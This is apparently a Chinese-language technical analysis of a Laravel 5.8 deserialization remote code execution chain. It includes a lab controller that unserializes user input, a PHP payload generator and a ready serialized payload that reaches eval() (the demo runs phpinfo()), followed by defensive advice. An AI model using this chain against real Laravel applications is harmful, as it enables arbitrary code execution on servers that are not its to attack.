Laravel 5.8 RCE 分析
字数 1221 2025-08-27 12:33:48

Laravel 5.8 反序列化远程代码执行(RCE)漏洞分析

漏洞概述

本文详细分析Laravel 5.8框架中存在的一个反序列化远程代码执行漏洞。该漏洞源于框架中某些类的反序列化操作可能导致恶意代码执行,攻击者可以通过精心构造的序列化数据实现远程代码执行。

环境搭建

  1. 安装Laravel 5.8:

    composer create-project --prefer-dist laravel/laravel laravel58
    
  2. 启动web服务:

    php artisan serve
    
  3. 添加路由(编辑laravel58/routes/web.php):

    Route::get("/", "\App\Http\Controllers\DemoController@demo");
    
  4. 创建控制器(laravel58/app/Http/Controllers/DemoController.php):

    <?php
    namespace App\Http\Controllers;
    
    class DemoController extends Controller
    {
        public function demo()
        {
            if(isset($_GET['c'])){
                $code = $_GET['c'];
                unserialize($code);
            }
            else{
                highlight_file(__FILE__);
            }
            return "Welcome to laravel5.8";
        }
    }
    

漏洞分析

漏洞利用链分析

  1. 起始点Illuminate\Broadcasting\PendingBroadcast类的__destruct方法

    public function __destruct()
    {
        $this->events->dispatch($this->event);
    }
    
  2. 调用链

    • $this->events必须实现Dispatcher接口(选择Illuminate\Bus\Dispatcher
    • $this->event必须实现ShouldQueue接口(选择Illuminate\Broadcasting\BroadcastEvent
  3. 关键调用点Illuminate\Bus\DispatcherdispatchToQueue方法中的call_user_func

    public function dispatchToQueue($command)
    {
        $connection = $command->connection ?? null;
        $queue = call_user_func($this->queueResolver, $connection);
        // ...
    }
    
  4. 利用Mockery\Loader\EvalLoaderload方法

    public function load(MockDefinition $definition)
    {
        if (class_exists($definition->getClassName(), false)) {
            return;
        }
        eval("?>" . $definition->getCode());
    }
    

完整利用链

  1. PendingBroadcast::__destruct() -> Dispatcher::dispatch()
  2. Dispatcher::dispatch() -> Dispatcher::dispatchToQueue()
  3. dispatchToQueue()中的call_user_func()调用EvalLoader::load()
  4. EvalLoader::load()执行eval()函数

漏洞利用

构造Payload

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        function __construct($evilCode)
        {
            $this->events = new \Illuminate\Bus\Dispatcher();
            $this->event = new BroadcastEvent($evilCode);
        }
    }

    class BroadcastEvent {
        public $connection;
        function __construct($evilCode)
        {
            $this->connection = new \Mockery\Generator\MockDefinition($evilCode);
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
        }
    }
}

namespace Mockery\Loader {
    class EvalLoader {}
}

namespace Mockery\Generator {
    class MockDefinition {
        protected $config;
        protected $code;
        function __construct($evilCode)
        {
            $this->code = $evilCode;
            $this->config = new MockConfiguration();
        }
    }
    class MockConfiguration {
        protected $name = 'abcdefg';
    }
}

namespace {
    $code = "<?php phpinfo(); exit; ?>";
    $exp = new \Illuminate\Broadcasting\PendingBroadcast($code);
    echo serialize($exp);
}
?>

生成的序列化Payload

O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:25:"<?php phpinfo(); exit; ?>";}}}

技术要点

  1. PHP序列化特性

    • private属性序列化后会包含\x00类名\x00前缀
    • protected属性序列化后会包含\x00*\x00前缀
    • 可以使用大写S表示字符串并支持16进制表示法
  2. 关键绕过点

    • MockDefinitiongetClassName()必须返回不存在的类名
    • MockConfigurationname属性设置为不存在的类名
  3. 危险函数利用

    • eval()函数执行任意PHP代码
    • call_user_func()实现动态函数调用

防御措施

  1. 避免反序列化用户可控的数据
  2. 使用__wakeup()__destruct()方法进行安全检查
  3. 更新到最新版本的Laravel框架
  4. 实施输入验证和过滤

参考链接

  1. Laravel 5.8 RCE分析 - 先知社区
  2. PHP反序列化漏洞利用技巧 - 先知社区
Laravel 5.8 反序列化远程代码执行(RCE)漏洞分析 漏洞概述 本文详细分析Laravel 5.8框架中存在的一个反序列化远程代码执行漏洞。该漏洞源于框架中某些类的反序列化操作可能导致恶意代码执行,攻击者可以通过精心构造的序列化数据实现远程代码执行。 环境搭建 安装Laravel 5.8: 启动web服务: 添加路由(编辑 laravel58/routes/web.php ): 创建控制器( laravel58/app/Http/Controllers/DemoController.php ): 漏洞分析 漏洞利用链分析 起始点 : Illuminate\Broadcasting\PendingBroadcast 类的 __destruct 方法 调用链 : $this->events 必须实现 Dispatcher 接口(选择 Illuminate\Bus\Dispatcher ) $this->event 必须实现 ShouldQueue 接口(选择 Illuminate\Broadcasting\BroadcastEvent ) 关键调用点 : Illuminate\Bus\Dispatcher 的 dispatchToQueue 方法中的 call_user_func 利用 Mockery\Loader\EvalLoader 的 load 方法 : 完整利用链 PendingBroadcast::__destruct() -> Dispatcher::dispatch() Dispatcher::dispatch() -> Dispatcher::dispatchToQueue() dispatchToQueue() 中的 call_user_func() 调用 EvalLoader::load() EvalLoader::load() 执行 eval() 函数 漏洞利用 构造Payload 生成的序列化Payload 技术要点 PHP序列化特性 : private 属性序列化后会包含 \x00类名\x00 前缀 protected 属性序列化后会包含 \x00*\x00 前缀 可以使用大写 S 表示字符串并支持16进制表示法 关键绕过点 : MockDefinition 的 getClassName() 必须返回不存在的类名 MockConfiguration 的 name 属性设置为不存在的类名 危险函数利用 : eval() 函数执行任意PHP代码 call_user_func() 实现动态函数调用 防御措施 避免反序列化用户可控的数据 使用 __wakeup() 或 __destruct() 方法进行安全检查 更新到最新版本的Laravel框架 实施输入验证和过滤 参考链接 Laravel 5.8 RCE分析 - 先知社区 PHP反序列化漏洞利用技巧 - 先知社区